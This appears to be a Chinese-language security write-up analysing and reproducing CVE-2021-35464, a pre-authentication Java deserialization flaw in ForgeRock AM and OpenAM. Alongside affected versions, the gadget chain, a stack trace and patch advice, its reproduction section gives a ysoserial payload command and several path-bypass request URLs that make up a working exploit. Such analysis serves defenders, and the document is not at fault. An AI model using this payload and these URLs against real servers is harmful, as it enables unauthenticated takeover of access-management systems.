ForgeRock AM远程代码执行漏洞(CVE-2021-35464)复现和分析
字数 1053 2025-08-09 15:23:15
ForgeRock AM远程代码执行漏洞(CVE-2021-35464)分析与复现指南
漏洞概述
ForgeRock AM是一个开源的访问管理、权限控制平台,广泛应用于大学、社会组织等场景。该平台存在一个严重的Java反序列化漏洞,允许未经身份验证的攻击者通过构造特殊的请求远程执行任意代码,从而完全控制运行ForgeRock AM的服务器。
影响版本
- ForgeRock AM >=5.0.0 <6.5.3
- ForgeRock OpenAM >=9.0.0 <14.6.3
漏洞原理
漏洞存在于ForgeRock AM服务器的to.pageSession参数中,该参数接收的数据会经过以下处理流程:
- 首先通过
jato.util.Encoder的decodehttp64方法进行解码 - 然后由
Encoder.deserialize进行反序列化处理成会话属性 - 内部使用
ObjectInputStream执行反序列化操作
由于缺乏对反序列化对象的有效验证,攻击者可以构造恶意的序列化对象,通过Java反序列化机制实现远程代码执行。
环境搭建
- 下载受影响版本的ForgeRock AM
- 按照官方文档进行默认配置安装
- 配置完成后访问主页面确认服务正常运行
漏洞复现
方法一:BurpSuite手动利用
-
使用ysoserial生成payload:
java -jar ysoserial.jar Click1 "calc" | (echo -ne \\x00 && cat) | base64 | tr -d '=' -
将生成的payload复制并去除换行符
-
构造以下任意一种URL格式发送请求:
GET /openam2/oauth2/..;/ccversion/Version?jato.pageSession=PAYLOAD GET /openam2/oauth2/..///ccversion/Version?jato.pageSession=PAYLOAD GET /openam2/oauth2///..///ccversion/Version?jato.pageSession=PAYLOAD GET /openam2/oauth2/ccversion/Version?jato.pageSession=PAYLOAD GET /openam2/oauth2/..//;/ccversion/Version?jato.pageSession=PAYLOAD GET /openam2/oauth2/../ccversion/Version?jato.pageSession=PAYLOAD GET /openam2/ccversion/Version?jato.pageSession=PAYLOAD
方法二:脚本自动化利用
可以使用公开的漏洞利用脚本,设置目标URL和payload后执行攻击。
漏洞分析
关键代码路径
-
请求处理流程:
- 获取
jato.pageSession参数值 - 通过
jato.util.Encoder.decodehttp64方法解码 - 调用
Encoder.deserialize进行反序列化 - 使用
ApplicationObjectInputStream的readObject方法反序列化对象
- 获取
-
反序列化调用链:
java.util.PriorityQueue.readObject() → org.apache.click.control.Column$ColumnComparator.compare() → org.apache.click.control.Column.getProperty() → org.apache.click.control.Table → org.apache.click.util.PropertyUtils.getValue() → java.lang.reflect.Method.invoke() → TemplatesImpl.newTransformer() → TemplatesImpl.getTransletInstance() → TemplatesImpl.defineTransletClasses() → ClassLoader.defineClass() → Class.newInstance() → Runtime.exec()
完整调用栈
invokeReadObject:1060, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:359, Encoder (com.iplanet.jato.util)
deserializePageAttributes:934, ViewBeanBase (com.iplanet.jato.view)
invokeRequestHandler:568, ViewBeanBase (com.iplanet.jato.view)
dispatchRequest:957, ApplicationServletBase (com.iplanet.jato)
processRequest:615, ApplicationServletBase (com.iplanet.jato)
doGet:459, ApplicationServletBase (com.iplanet.jato)
service:635, HttpServlet (javax.servlet.http)
...
修复建议
-
升级到已修复版本:
- ForgeRock AM >=6.5.3
- ForgeRock OpenAM >=14.6.3
-
临时缓解措施:
- 在Web应用防火墙(WAF)中过滤包含
jato.pageSession参数的请求 - 禁用不必要的API端点
- 在Web应用防火墙(WAF)中过滤包含
-
补丁获取:
- 访问ForgeRock官方安全公告获取最新补丁